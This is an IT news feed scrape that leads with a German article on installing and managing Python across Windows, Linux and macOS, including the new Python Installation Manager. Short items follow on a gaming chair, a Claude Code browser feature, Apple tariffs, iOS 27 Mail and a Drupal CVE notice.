<div class="extendedBlock-wrapper block-coreImage"><figure class="wp-block-image size-large"><img loading="lazy" decoding="async" alt="Python gilt als Shooting Star unter den Programmiersprachen. Wir sagen Ihnen, wie Sie die Installation unter Windows, Linux und MacOS reibungslos bewerkstelligen und was Sie dabei beachten sollten." title="Python gilt als Shooting Star unter den Programmiersprachen. Wir sagen Ihnen, wie Sie die Installation unter Windows, Linux und MacOS reibungslos bewerkstelligen und was Sie dabei beachten sollten." src="https://images.computerwoche.de/bdb/3284280/840x473.jpg" width="840" height="473"><figcaption class="wp-element-caption"><p class="foundryImageCaption">Python gilt als Shooting Star unter den Programmiersprachen. Wir sagen Ihnen, wie Sie die Installation unter Windows, Linux und MacOS reibungslos bewerkstelligen und was Sie dabei beachten sollten.</p></figcaption></figure><p class="imageCredit">
					Foto: Flegere – shutterstock.com</p></div>




<p>Mit der einsteiger- und benutzerfreundlichen Programmiersprache <a title="Python" href="https://www.computerwoche.de/article/2815440/die-zukunft-der-python-webentwicklung.html" target="_blank">Python</a> können Sie nahezu jede erdenkliche <a title="Applikation coden" href="https://www.computerwoche.de/article/2805928/die-besten-profiler.html" target="_blank">Applikation coden</a>. Aber es ist eben auch nur eine Software wie jede andere – Installation und Management können mitunter komplex ausfallen. Wir verraten Ihnen, wie Sie <a title="Python" href="https://www.computerwoche.de/article/2762025/python-lernen-leicht-gemacht.html" target="_blank">Python</a> aufsetzen, die richtige Version für Ihre Zwecke ermitteln und mögliche Fallstricke bei der Installation unter <a class="idgGlossaryLink" href="https://www.computerwoche.de/k/windows-10,3530" target="_blank">Windows</a>, <a class="idgGlossaryLink" href="https://www.computerwoche.de/k/linux-open-source,3472" target="_blank">Linux</a> und MacOS vermeiden.</p>



<h2 class="wp-block-heading">Die richtige Python-Version ermitteln</h2>



<p>Um die Kompatibilität mit Drittanbieter-Modulen gewährleisten zu können, sollten Sie nicht auf die neueste Python-Version setzen. Stattdessen empfiehlt sich die letzte große Versionierung. Aktuell (Stand: Juni 2026) ist Python 3.14.6 die neueste Version. Um sicherzugehen, dass alles läuft, sollten Sie sich also für die letzte Revision von Python 3.13 entscheiden. Natürlich können Sie die neueste Python-Version jederzeit in einer geschützten Umgebung – etwa einer <a title="virtuellen Maschine" href="https://www.computerwoche.de/article/2814705/was-sind-virtual-machines.html" target="_blank">virtuellen Maschine</a> – austesten.</p>



<p>Von Python existieren darüber hinaus auch <a href="https://www.computerwoche.de/article/2827828/10-python-distributionen-im-ueberblick.html" title="verschiedene Distributionen" target="_blank">verschiedene Distributionen</a> – ganz ähnlich wie das <a href="https://www.computerwoche.de/article/2744146/die-linux-geschichte.html" title="bei Linux" target="_blank">bei Linux</a> der Fall ist. Allerdings ist die Programmiersprache, im Gegensatz zu <a href="https://www.computerwoche.de/k/linux-open-source,3472" target="_blank" class="idgGlossaryLink">Linux</a>, auch in einer offiziellen Version erhältlich, die Sie als Fallback-Option nutzen können: CPython wird von der Python Software Foundation <a href="https://www.python.org/" title="zur Verfügung gestellt" target="_blank" rel="noopener">zur Verfügung gestellt</a> und ist die sicherste und kompatibelste Distribution. Mit anderen Python-Distributionen für spezifische Use Cases können Sie zu einem späteren Zeitpunkt jederzeit experimentieren.</p>



<p>Ein wesentlicher Punkt bei der Wahl der Python-Distribution – insbesondere unter Windows – ist die Entscheidung zwischen der 32-Bit- und der 64-Bit-Version. Sehr wahrscheinlich werden Sie sich für letztere entscheiden, denn:</p>



<ul class="wp-block-list">
<li><p>die meisten modernen Betriebssysteme arbeiten standardmäßig mit der 64-Bit-Version von Python. Windows-Nutzer können die 32-Bit-Versionen der <a title="Coding-Sprache" href="https://www.computerwoche.de/article/2813209/11-wege-ihre-softwareentwicklung-neu-zu-definieren.html" target="_blank">Coding-Sprache</a> auch mit einem 64-Bit-Windows betreiben, müssen sich aber auf leichte Performance-Einbußen einstellen.</p></li>



<li><p>32-Bit-Applikationen – auch Python – können zeitgleich auf maximal 4 GB Arbeitsspeicher zugreifen. Dieses Limit kennen 64-Bit-Apps nicht. Hinzu kommt, dass viele Datenanalyse- und Machine-Learning-Tools innerhalb einer 64-bit-Umgebung am besten laufen.</p></li>
</ul>



<p>Für die 32-Bit-Version von Python sollten Sie sich lediglich dann entscheiden, wenn Sie auch ein 32-Bit-Windows oder ein Drittanbieter-Modul nutzen (müssen), welches lediglich als 32-Bit-Version vorliegt.</p>



<h2 class="wp-block-heading">Python unter Windows installieren</h2>



<p>Wie bei nahezu jeder Applikation unter Windows läuft auch die Installation von Python über einen Installer ab, der Sie durch den Setup-Prozess geleitet. Standardmäßig legt der Python-Installer .exe-Dateien unter Windows im App-Data-Verzeichnis des jeweiligen Nutzers ab – so dass keine Administratorrechte für die Installation benötigt werden.</p>



<p><strong>Den richtige Python Installer für Windows finden</strong></p>



<p><a title="Python.org" href="https://www.python.org/downloads/windows/" target="_blank" rel="noopener">Python.org</a> stellt mehrere verschiedene <a class="idgGlossaryLink" href="https://www.computerwoche.de/k/windows-10,3530" target="_blank">Windows</a> Installer zur Verfügung. Neben der 32-Bit- (x86) und der 64-Bit-Version (x86-64) auch eine Version für Windows-ARM-Systeme, ein embeddable Zip File, eine .exe-Datei sowie einen webbasierten Installer. Diese unterscheiden sich wie folgt:</p>



<ul class="wp-block-list">
<li><p>Der .<strong>exe Installer</strong> ist lediglich eine ausführbare Datei, die den Installationsprozess von Python startet – das ist die gängigste und simpelste Lösung.</p></li>



<li><p>Der <strong>webbasierte Installer</strong> ist im Grunde identisch zu seinem .exe-Pendant, mit dem Unterschied, dass es die Dateien, die für die Installation nötig sind, separat herunterlädt. Dadurch reduziert sich die Größe des Installers drastisch, allerdings ist eine Netzwerkverbindung zwingend erforderlich.</p></li>



<li><p>Das <strong>embeddable Zip File</strong> ist eine in sich geschlossene, auf das Minimum reduzierte Kopie der <a title="Python-Laufzeitumgebung" href="https://www.computerwoche.de/article/2816760/der-bessere-weg-python-zu-kompilieren.html" target="_blank">Python-Laufzeitumgebung</a>. Das ist nützlich, wenn Sie eine Python-Applikation manuell verteilen oder schnell etwas testen wollen. Allerdings enthält dieser Installer keines der nützlichen Tools, die die anderen Versionen an Bord haben.</p></li>
</ul>



<figure class="wp-block-embed is-type-video is-provider-youtube wp-block-embed-youtube wp-embed-aspect-16-9 wp-has-aspect-ratio"><div class="wp-block-embed__wrapper youtube-video">

</div></figure>



<p><strong>Python mit einem Package Manager unter Windows installieren</strong></p>



<p>Eine weitere Option unter <a href="https://www.computerwoche.de/k/windows-10,3530" target="_blank" class="idgGlossaryLink">Windows</a> ist die Nutzung des betriebssystemeigenen Package-Management-Systems NuGet. Der Package Manager für .NET hat auch <a href="https://www.nuget.org/packages/python/" title="Python im Angebot" target="_blank" rel="noopener">Python im Angebot</a>, allerdings als Komponente für .NET-Applikationen und nicht, um als Installer für eine Standalone-Version von Python zum Einsatz zu kommen. Das Management Ihrer Python-Instanz dürfte sich deshalb mit einer regulären Installation einfacher gestalten.</p>



<p>Auch das <a href="https://www.computerwoche.de/k/windows-10,3530" target="_blank" class="idgGlossaryLink">Windows</a> Package Management System Chocolatey <a href="https://chocolatey.org/packages/python/3.8.2" title="stellt Python zur Verfügung" target="_blank" rel="noopener">stellt Python zur Verfügung</a>. Das ist im Vergleich zu NuGet in der Regel die bessere Option, weil Ihr System dabei auf eine vorhandene Python-Laufzeitumgebung überprüft wird. Allerdings sollten Sie vermeiden, reguläre Installationen und solche mit Chocolatey auf einem System zu vermischen.</p>



<h2 class="wp-block-heading">Python unter Linux installieren</h2>



<p>Weil <a href="https://www.computerwoche.de/k/linux-open-source,3472" target="_blank" class="idgGlossaryLink">Linux</a>-Distributionen teilweise erhebliche Unterschiede aufweisen, sollten Sie bei der Installation von Python unter dem <a href="https://www.computerwoche.de/k/linux-open-source,3472" target="_blank" class="idgGlossaryLink">Open-Source</a>-Betriebssystem auch auf den Package Manager der jeweiligen Distribution zurückgreifen. Die Vorgehensweise bei der Installation unterscheidet sich beispielsweise im Fall von <a href="https://docs.python-guide.org/starting/install3/linux/" title="Ubuntu" target="_blank" rel="noopener">Ubuntu</a> und <a href="https://developer.fedoraproject.org/tech/languages/python/multiple-pythons.html" title="Fedora" target="_blank" rel="noopener">Fedora</a> grundlegend. Das Installations-Zielverzeichnis orientiert sich dabei im Regelfall an der Python-Versionsnummer (<em>/usr/bin/python3.x</em>).</p>



<p>Ein Weg, die Komplexität im Umgang mit <a href="https://www.computerwoche.de/k/linux-open-source,3472" target="_blank" class="idgGlossaryLink">Linux</a>-Package-Managern zu umgehen ist die Nutzung einer Container-basierten Python-Laufzeitumgebung. <a href="https://www.computerwoche.de/article/2786849/7-security-tools-fuer-docker-und-kubernetes.html" title="Container" target="_blank">Container</a> sind vom Rest des Systems isoliert – Sie müssen sich also auch keine Gedanken darüber machen, dass unterschiedliche Python-Laufzeitumgebungen Konflikte verursachen. Falls Sie keine Erfahrungen im Umgang mit Containern haben, müssen Sie allerdings ein wenig Zeit und Mühe einplanen, um sich <a href="https://www.infoworld.com/article/2176798/docker-tutorial-get-started-with-docker.html" title="mit der Materie vertraut zu machen" target="_blank">mit der Materie vertraut zu machen</a>. </p>



<p>Das Tool <a href="https://asdf-vm.com/#/" title="asdf-vm" target="_blank" rel="noopener">asdf-vm</a> ist hilfreich, um mehrere Python-Laufzeitumgebungen auf <a href="https://www.computerwoche.de/article/2795308/pentester-software-statt-betriebssystem.html" title="Unix-basierten Systemen" target="_blank">Unix-basierten Systemen</a> (<a href="https://www.computerwoche.de/k/linux-open-source,3472" target="_blank" class="idgGlossaryLink">Linux</a> und MacOS) zu managen. Dabei beschränkt sich das Tool nicht auf Python: auch mehrere Laufzeitumgebungen für Node.js, Ruby, Elixir und viele weitere Programmiersprachen können mit asdf-vm unter einen Hut gebracht werden.</p>



<h2 class="wp-block-heading">Python unter MacOS installieren</h2>



<p>Apples MacOS wurde lange mit einer vorinstallierten Python-Version ausgeliefert – allerdings kam dabei keine Version zum Einsatz, die neuer als 2.7 war. Das führte mit der Veröffentlichung von Python 3.0 des Öfteren zu Problemen beziehungsweise Konflikten. Die <a href="https://docs.python.org/3/using/mac.html" title="offizielle Python-Dokumentation" target="_blank" rel="noopener">offizielle Python-Dokumentation</a> geht am Rande auf dieses Problem ein, stellt als Lösungsansatz allerdings nur die Empfehlung bereit, den richtigen Pfad für die entsprechende Python-Instanz zu wählen.</p>



<p>Die Nutzung des <a href="https://www.infoworld.com/article/2258320/homebrew-tutorial-how-to-use-homebrew-for-macos.html" title="Homebrew Package Managers" target="_blank">Homebrew Package Managers</a> stellt einen gängigen Weg dar, um Python-Laufzeitumgebungen unter MacOS zu managen. Dieser stellt ein konsistentes Interface für Download, (De-)Installation und Management von Python zur Verfügung. </p>



<h2 class="wp-block-heading">Python Packages installieren</h2>



<p>Wenn Sie die Grundinstallation von Python abgeschlossen haben, sollten Sie im nächsten Schritt nicht direkt mit Pip (der Python Package Manager) die Packages installieren – selbst, wenn Sie Python nur für ein einzelnes Projekt nutzen wollen. Stattdessen empfiehlt es sich, virtuelle Python-Umgebungen aufzusetzen und die Packages innerhalb dieser Umgebungen zu installieren. So bleibt die Basis-Installation “clean”.</p>



<figure class="wp-block-embed is-type-video is-provider-youtube wp-block-embed-youtube wp-embed-aspect-16-9 wp-has-aspect-ratio"><div class="wp-block-embed__wrapper youtube-video">

</div></figure>



<figure class="wp-block-embed is-type-video is-provider-youtube wp-block-embed-youtube wp-embed-aspect-16-9 wp-has-aspect-ratio"><div class="wp-block-embed__wrapper youtube-video">

</div></figure>



<p>Eine Vielzahl von Projekten mit virtuellen Umgebungen zu managen, kann sich anspruchsvoll gestalten. Hier empfiehlt sich ein Blick auf das <a href="https://www.infoworld.com/article/3527850/better-python-project-management-with-poetry.html" title="Kommandozeilen-Tool Poetry" target="_blank">Kommandozeilen-Tool Poetry</a>.</p>



<h2 class="wp-block-heading">Mehrere Python-Versionen parallel installieren</h2>



<p>Richtig knifflig wird es, wenn mehrere verschiedene Versionen der <a href="https://www.computerwoche.de/article/2779444/eine-kleine-geschichte-der-programmiersprachen.html" title="Programmiersprache" target="_blank">Programmiersprache</a> parallel installiert werden sollen. Hier sollten Sie insbesondere zwei Dinge beachten:</p>



<ul class="wp-block-list">
<li><p>Installieren Sie jede Python-Version immer in <strong>einem eigenen Verzeichnis</strong>.</p></li>



<li><p>Stellen Sie sicher, dass die Systempfade <strong>zuerst auf die Python-Version verweisen</strong>, die standardmäßig zum Einsatz kommen soll.</p></li>
</ul>



<p>Die Einrichtung virtueller Umgebungen für jedes einzelne Projekt ist wärmstens zu empfehlen, wenn unterschiedliche Python-Versionen parallel zum Einsatz kommen sollen: So stellen Sie sicher, dass bei Aktivierung der entsprechenden virtuellen Umgebung immer automatisch die richtige Version der Coding-Sprache zum Einsatz kommt. Windows-Nutzern steht in diesem Zusammenhang mit der Py Launcher App eine weitere Option zur Verfügung. Diese kann im Rahmen des Installationsprozesses hinzugefügt werden und ermöglicht Ihnen, über Kommandozeilen-Flags auszuwählen, welche Python-Version für das jeweilige Script zum Einsatz kommen soll.</p>



<figure class="wp-block-embed is-type-video is-provider-youtube wp-block-embed-youtube wp-embed-aspect-16-9 wp-has-aspect-ratio"><div class="wp-block-embed__wrapper youtube-video">

</div></figure>



<p><strong>Mehrere Python-Versionen unter Windows managen</strong></p>



<p>Bislang war es nicht wirklich möglich, unter Windows installierte Python-Versionen zu managen. Das ändert sich ab Version 3.14 mit einem Tool, das das Python-Kernteam neu entwickelt hat. Der <a href="https://peps.python.org/pep-0773" target="_blank" rel="noreferrer noopener">Python Installation Manager for Windows</a> ist soll künftig das Mittel der Wahl darstellen, um Installationen unter Windows zu verwalten. Weil der neue Installation Manager selbst nur eine normale Windows-App ist, gibt es mehrere Möglichkeiten, diesen zu installieren. Das funktioniert über:  </p>



<ul class="wp-block-list">
<li>den <a href="https://apps.microsoft.com/detail/9nq7512cxl7t?hl=en-US&amp;gl=US" target="_blank" rel="noreferrer noopener">Microsoft Store</a>,</li>



<li>die offizielle Python-Website per <a href="https://www.python.org/downloads/release/pymanager-250b9/" target="_blank" rel="noreferrer noopener">Direkt-Download</a>, oder</li>



<li>den <a href="https://www.infoworld.com/article/2334832/intro-to-winget-microsofts-package-manager-for-windows.html" target="_blank">WinGet</a>-Paketmanager (<code>winget install 9NQ7512CXL7T</code>).</li>
</ul>



<p>Das bisherige <code>py</code>-Tool soll künftig durch den Installation Manager ersetzt werden, wobei das neue Tool das alte in Sachen Funktionalität deutlich übertrifft. Die Befehle, die zuvor funktioniert haben, können weiterhin verwendet werden. Einen nützlichen Überblick über alle wichtigen Kommandos rufen Sie mit <code>py help</code> auf:</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-full"><img loading="lazy" decoding="async" src="https://b2b-contenthub.com/wp-content/uploads/2025/06/image-2.png" alt="Python Installation Manager help options" class="wp-image-4001984" width="835" height="799" sizes="auto, (max-width: 835px) 100vw, 835px"></figure><p class="imageCredit">IDG</p></div>



<p>Um einzusehen, welche Python-Versionen bereits auf Ihrem Windows-System vorhanden sind, nutzen Sie den Befehl <code>py list</code>:</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" decoding="async" src="https://b2b-contenthub.com/wp-content/uploads/2025/06/image-4.png?w=1024" alt="Python Installation Manager listing versions of installed Python" class="wp-image-4001985" width="1024" height="310" sizes="auto, (max-width: 1024px) 100vw, 1024px"></figure><p class="imageCredit">IDG</p></div>



<p>Wenn Sie an bereits installierten Python-Instanzen Änderungen vornehmen möchten, müssen Sie diese manuell entfernen und anschließend mit dem Installation Manager neu installieren. Das ist denkbar einfach:</p>



<ul class="wp-block-list">
<li>Python-Versionen fügen Sie mit <code>py install <version></version></code> hinzu,</li>



<li>rufen diese nach der Installation mit <code>py -<version></version></code> auf, und</li>



<li>nutzen <code>py uninstall <version></version></code> für die Deinstallation.</li>
</ul>



<p>Um zu sehen, welche Python-Versionen über den Manager verfügbar sind, nutzen Sie <code>py list --online</code>. Die hier gelisteten Python-Installationen lassen sich zudem mit dem Befehl <code>py list -f=json</code> im JSON-Format exportieren (CSV und JSONL sind ebenfalls verfügbar). Die standardmäßige Python-Version wird in der Auflistung durch ein Sternchen markiert:</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-full"><img loading="lazy" decoding="async" src="https://b2b-contenthub.com/wp-content/uploads/2025/06/image_1168.png" alt="Default version of Python (3.14) shown with asterisk in Python Installation Manager" class="wp-image-4001989" width="686" height="249" sizes="auto, (max-width: 686px) 100vw, 686px"></figure><p class="imageCredit">IDG</p></div>



<p>Sobald Sie den Befehl <code>py</code> eingeben, wird diese Standard-Version aufgerufen. Falls Sie das ändern möchten, können Sie eine Umgebungsvariable definieren. Um etwa Python 3.12 als Standardversion festzulegen, würden Sie Powershell mit folgendem Kommando füttern:  </p>



<p><code>$Env:PYTHON_MANAGER_DEFAULT=„3.12“</code></p>



<figure class="wp-block-embed is-type-video is-provider-youtube wp-block-embed-youtube wp-embed-aspect-16-9 wp-has-aspect-ratio"><div class="wp-block-embed__wrapper youtube-video">

</div></figure>



<p>Ein Befehl wie <code>py install</code> könnte allerdings leicht mit vorkonfigurierten Befehlen in virtuellen Umgebungen oder mit einem anderen Alias kollidieren. Um das zu vermeiden, können Sie <code>pymanager</code> als eindeutigen Namen für den Installation Manager nutzen. Alle Befehle bleiben dabei unverändert, lediglich der Name der Executable ändert sich.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-full"><img loading="lazy" decoding="async" src="https://b2b-contenthub.com/wp-content/uploads/2025/06/image-8.png" alt='Running the Python Installation Manager with the "pymanager" alias instead of "py"' class="wp-image-4001991" width="853" height="875" sizes="auto, (max-width: 853px) 100vw, 853px"></figure><p class="imageCredit">IDG</p></div>



<p>Darüber hinaus ist es auch möglich, die Windows App Execution Aliases für Befehle wie <code>python</code> und <code>python3</code> anzupassen. Dazu geben Sie lediglich <code>py install --configure</code> ein. Sie werden dann aufgefordert, die Aliase Ihres Systems zu ändern:</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-full"><img loading="lazy" decoding="async" src="https://b2b-contenthub.com/wp-content/uploads/2025/06/image-3.png" alt="Prompt to manage Windows app execution aliases from the Python Installation Manager" class="wp-image-4001992" width="835" height="324" sizes="auto, (max-width: 835px) 100vw, 835px"></figure><p class="imageCredit">IDG</p></div>



<h2 class="wp-block-heading">Python richtig upgraden</h2>



<p>Weniger umfangreiche Python-Revisionen (etwa von 3.7.2 auf 3.7.3) stellen im Regelfall kein Problem dar: Unter <a href="https://www.computerwoche.de/k/windows-10,3530" target="_blank" class="idgGlossaryLink">Windows</a> erkennt der Installer automatisch die installierte Version und stößt das entsprechende Upgrade an – unter <a href="https://www.computerwoche.de/k/linux-open-source,3472" target="_blank" class="idgGlossaryLink">Linux</a> und MacOS in der Regel ebenso. Allerdings müssen auch alle virtuellen Umgebungen, die Sie erstellt haben, mit einem Upgrade versehen werden – das geschieht nicht automatisch.</p>



<p>Bei großen Revisionen (etwa von 3.12 auf 3.13) sollten Sie hingegen neue virtuelle Umgebungen innerhalb der einzelnen Projektverzeichnisse erstellen. Die meisten IDEs die Python unterstützen (zum Beispiel <a title="Microsoft Visual Studio Code" href="https://www.computerwoche.de/article/2815427/so-finden-sie-zum-richtigen-entwicklungs-tool.html" target="_blank">Microsoft Visual Studio Code</a>), erkennen das automatisch und ermöglichen Ihnen, zwischen den verschiedenen virtuellen Umgebungen hin- und her zu wechseln.</p>



<p><strong>Dieser Artikel ist <a href="https://www.infoworld.com/article/2256282/how-to-install-python-the-smart-way.html" target="_blank">im Original</a> bei unserer Schwesterpublikation Infoworld.com erschienen.</strong></p>
</div></div></div>
</div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Razer’s Soma Chroma is the wireless RGB gaming chair your setup didn’t know it needed, and it’s way better than the joke writes itself]]></title>
<description><![CDATA[Razer’s Soma Chroma is a wireless RGB gaming chair powered by a simple USB‑C power bank, keeping your setup clean while adding reactive lighting to your entire battlestation. The real surprise is the comfort. Dual‑density foam, an ergonomic lumbar arch, and a reinforced frame make it feel like a ...]]></description>
<link>https://tsecurity.de/de/3661957/windows-tipps/razers-soma-chroma-is-the-wireless-rgb-gaming-chair-your-setup-didnt-know-it-needed-and-its-way-better-than-the-joke-writes-itself/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3661957/windows-tipps/razers-soma-chroma-is-the-wireless-rgb-gaming-chair-your-setup-didnt-know-it-needed-and-its-way-better-than-the-joke-writes-itself/</guid>
<pubDate>Sat, 11 Jul 2026 15:56:08 +0200</pubDate>
<category>🪟 Windows Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Razer’s Soma Chroma is a wireless RGB gaming chair powered by a simple USB‑C power bank, keeping your setup clean while adding reactive lighting to your entire battlestation. The real surprise is the comfort. Dual‑density foam, an ergonomic lumbar arch, and a reinforced frame make it feel like a genuine upgrade, not just an RGB stunt.]]></content:encoded>
</item>
<item>
<title><![CDATA[Anthropic Adds A Dedicated In-App Browser To Claude Code Desktop]]></title>
<description><![CDATA[Anthropic recently announced a major update for developers using its desktop tools. The company just introduced a dedicated in-app browser for the Claude Code desktop application. This new feature allows users to access web pages, read documentation, and interact with online resources without eve...]]></description>
<link>https://tsecurity.de/de/3661886/ios-mac-os/anthropic-adds-a-dedicated-in-app-browser-to-claude-code-desktop/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3661886/ios-mac-os/anthropic-adds-a-dedicated-in-app-browser-to-claude-code-desktop/</guid>
<pubDate>Sat, 11 Jul 2026 15:09:01 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Anthropic recently announced a major update for developers using its desktop tools. The company just introduced a dedicated in-app browser for the Claude Code desktop application. This new feature allows users to access web pages, read documentation, and interact with online resources without ever leaving their primary coding environment.



It aims to reduce interruptions and streamline how developers rely on artificial intelligence during daily software engineering tasks.



The new tool helps you research code without switching windows



According to the company, developers can now open framework references, check code repositories, and review live dashboards alongside their active project files. The development team highlighted the release on social media, stating, “Claude Code on desktop now has an in-app browser.” They explained that the AI assistant can easily “pull up docs, designs, or any other site.”



Additionally, it can read and click through web pages exactly like it interacts with local development servers. This eliminates the need to constantly bounce between a standalone browser and a coding workspace just to verify technical specifications or debug an application.



A sandboxed environment keeps your personal login data completely secure



Security remains a major focus for this desktop feature. The built-in browser operates in a completely clean and sandboxed profile. This means it does not access your personal browsing history or saved passwords. As the developers noted, the setup is highly flexible, allowing you to “choose whether sessions persist.”



If a user needs the system to act on their behalf using an active login, the company recommends sticking to the standard Chrome extension instead. The desktop browser is strictly for building and testing, protecting your identity while you work.



By integrating web access directly into the workspace, the company is pushing its coding assistant beyond a simple chat interface into a fully featured development platform. Instead of constantly switching between windows, programmers can keep their research and actual coding connected in one single place.]]></content:encoded>
</item>
<item>
<title><![CDATA[Apple's 100% tariff exemption may have been helped by Intel supply deal]]></title>
<description><![CDATA[Apple may have been pushed into a deal to contract Intel for chip production, with it claimed to have persuaded President Trump into giving it an exemption from 100% semiconductor tariffs.Intel could soon be making Apple's chips. Image credit: IntelIn August 2025, facing the prospect of semicondu...]]></description>
<link>https://tsecurity.de/de/3661885/ios-mac-os/apples-100-tariff-exemption-may-have-been-helped-by-intel-supply-deal/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3661885/ios-mac-os/apples-100-tariff-exemption-may-have-been-helped-by-intel-supply-deal/</guid>
<pubDate>Sat, 11 Jul 2026 15:09:00 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Apple may have been pushed into a deal to contract Intel for chip production, with it claimed to have persuaded President Trump into giving it an exemption from 100% semiconductor tariffs.<br><br><div><img src="https://photos5.appleinsider.com/gallery/68223-143803-65917-138146-Intel-chip-worker-xl-xl.jpg" alt="Scientist in full protective suit and goggles holds a tiny rectangular microchip between blue-gloved fingers in a clean, sterile laboratory environment" height="738"><br><span>Intel could soon be making Apple's chips. Image credit: Intel</span></div><br>In August 2025, facing the prospect of semiconductor tariffs at 100%, Apple managed to <a href="https://appleinsider.com/articles/25/08/06/apple-exempt-from-100-semiconductor-tariffs-thanks-to-its-100b-us-investment">secure an exemption</a> from the massive <a href="https://appleinsider.com/articles/25/10/30/dont-get-too-excited-yet-about-the-china-tariff-cut">import fees</a>.<br><br>It appeared at the time to have been avoided thanks to a major investment in U.S. manufacturing efforts. But it may also have been an Intel deal that helped grease the wheels.<br><br><br> <a href="https://appleinsider.com/articles/26/07/11/apples-100-tariff-exemption-may-have-been-helped-by-intel-supply-deal?utm_source=rss">Continue Reading on AppleInsider</a> | <a href="https://forums.appleinsider.com/discussion/244928?urm_source=rss">Discuss on our Forums</a>]]></content:encoded>
</item>
<item>
<title><![CDATA[iOS 27 Mail Update: Smart Inbox Filters And New AI Tools Arrive]]></title>
<description><![CDATA[The latest update to iOS 27 brings a complete redesign to the default email application. After years of remaining mostly unchanged, the inbox now features smart sorting buckets and new tools powered by Apple Intelligence. These changes aim to speed up how you read and respond to messages on your ...]]></description>
<link>https://tsecurity.de/de/3661331/ios-mac-os/ios-27-mail-update-smart-inbox-filters-and-new-ai-tools-arrive/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3661331/ios-mac-os/ios-27-mail-update-smart-inbox-filters-and-new-ai-tools-arrive/</guid>
<pubDate>Sat, 11 Jul 2026 07:53:34 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[The latest update to iOS 27 brings a complete redesign to the default email application. After years of remaining mostly unchanged, the inbox now features smart sorting buckets and new tools powered by Apple Intelligence. These changes aim to speed up how you read and respond to messages on your iPhone. It is a major shift that makes managing daily digital communication much easier.



The system sorts your inbox into four clear categories



The application automatically groups incoming messages into four distinct sections. You get a Primary tab for personal notes and urgent alerts. A Transactions tab catches order confirmations, receipts, and shipping notices. Updates holds newsletters and social notifications, while Promotions collects sales and coupons.



This change mimics what other popular clients do to keep your main view clean. You can easily teach the app to move specific senders to different tabs if a message lands in the wrong spot. If you prefer the old layout, a single settings toggle turns the categories off entirely.



New writing tools help you draft better messages faster



The update introduces native AI features right into the draft window. If you struggle to find the right words, the new writing tools can rewrite your text to sound more polite or concise. You can also use the tool to proofread your grammar and sentence structure before hitting send.



Instead of typing everything from scratch, a new smart reply function suggests quick and relevant responses based on the received message. It scans the incoming text to identify any questions and gives you a pre-written draft that you can tweak. This makes replying on a small screen much faster.



A built-in feature summarizes long threads automatically



You no longer have to tap into a long thread to understand what it is about. The system generates short summaries right in the main list view. Instead of just displaying the first two lines of text, it tells you the actual main point of the conversation.



This Apple feature also applies to urgent alerts. A new priority section sits at the top of your inbox to catch things like same-day flight details or dinner invites. It pushes time-sensitive information to the top so you never miss an important deadline.



A digest view groups old messages from one sender



When you tap into a receipt or a newsletter, the application opens a digest view. This view gathers all past messages from that exact same sender into one scrollable list. You can quickly see past orders from a store without having to use the search bar.



These features connect across the ecosystem, meaning changes you make will sync up with your macOS devices as well. The system relies heavily on local processing to keep your private data secure. Even Siri plays a role in helping pull up specific files mentioned in these grouped threads.



The default mail client is finally catching up to third-party alternatives. By letting the system handle the sorting and summarizing, you spend less time scrolling and more time getting things done. It is a solid upgrade that fundamentally changes how you interact with your inbox.]]></content:encoded>
</item>
<item>
<title><![CDATA[CVE-2026-15087 | Drupal Clean RESTful REST privilege escalation]]></title>
<description><![CDATA[A vulnerability was found in Drupal Clean RESTful and classified as critical. Impacted is an unknown function of the component REST. Executing a manipulation can lead to privilege escalation.

This vulnerability appears as CVE-2026-15087. The attack may be performed from remote. There is no avail...]]></description>
<link>https://tsecurity.de/de/3660949/sicherheitsluecken/cve-2026-15087-drupal-clean-restful-rest-privilege-escalation/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3660949/sicherheitsluecken/cve-2026-15087-drupal-clean-restful-rest-privilege-escalation/</guid>
<pubDate>Sat, 11 Jul 2026 00:53:35 +0200</pubDate>
<category>🕵️ Sicherheitslücken</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[A vulnerability was found in <a href="https://vuldb.com/product/drupal:clean_restful">Drupal Clean RESTful</a> and classified as <a href="https://vuldb.com/kb/risk">critical</a>. Impacted is an unknown function of the component <em>REST</em>. Executing a manipulation can lead to privilege escalation.

This vulnerability appears as <a href="https://vuldb.com/cve/CVE-2026-15087">CVE-2026-15087</a>. The attack may be performed from remote. There is no available exploit.]]></content:encoded>
</item>
<item>
<title><![CDATA[OpenAI introduces ChatGPT Work, a cloud-based AI agent that manages tasks across email, Slack and calendars]]></title>
<description><![CDATA[OpenAI on Thursday launched ChatGPT Work, a new AI agent embedded inside its flagship chatbot that aims to transform ChatGPT from a question-and-answer tool into an autonomous work platform capable of executing complex, multi-step tasks across users' email, calendars, code repositories, and messa...]]></description>
<link>https://tsecurity.de/de/3660793/it-nachrichten/openai-introduces-chatgpt-work-a-cloud-based-ai-agent-that-manages-tasks-across-email-slack-and-calendars/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3660793/it-nachrichten/openai-introduces-chatgpt-work-a-cloud-based-ai-agent-that-manages-tasks-across-email-slack-and-calendars/</guid>
<pubDate>Fri, 10 Jul 2026 22:48:07 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
